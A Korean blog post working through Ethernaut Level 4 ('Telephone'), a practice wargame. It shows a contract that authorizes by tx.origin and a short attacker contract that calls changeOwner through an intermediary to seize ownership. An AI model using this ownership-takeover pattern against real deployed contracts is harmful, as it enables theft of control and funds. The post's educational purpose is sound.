728x90
코드 자체는 심플하다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
tx.origin 과 msg.sender의 값이 다르면 된다.
msg.sender는 그렇다 치고 tx.origin이 뭔지 몰라서 찾아본 결과
처음 트랜잭션을 최초로 생성한 계정이 반환된다고 한다.
그 말은 트랜잭션을 최초로 생성한 사람은 나이므로 나의 지갑 주소가 반환된다는 정도로 이해했다.
그러면 msg.sender도 똑같지 않나? 하고 또 찾아보니깐
msg.sender는 현재 호출하는 자신의 지갑주소가 아니라 호출하는 contract의 주소라는 것이었다.
즉, 다른 컨트랙트에서 msg.sender를 호출하면 해당 컨트랙트의 주소가 뜰 것이다.
그래서 외부 contract를 하나 파서 changeOwner를 호출하게 하면 끝이다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../src/telephone.sol";
contract TelephoneSolve {
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
address player;
address target;
function HackLv4(address _target) public {
target = _target;
}
function attack(address _player) public{
Telephone(target).changeOwner(_player);
}
}
Remix사용해서 했다.
owner를 내 지갑주소로 바꾸면 해결된다.
728x90
반응형
'Web3 > The Ethernaut' 카테고리의 다른 글
[The Ethernaut] Level 6. Delegation (0) | 2025.01.17 |
---|---|
[The Ethernaut] Level 5. Token (0) | 2025.01.17 |
[The Ethernaut] Level 3. Coin Flip (0) | 2025.01.16 |
[The Ethernaut] Level 1. Fallback (2) | 2025.01.06 |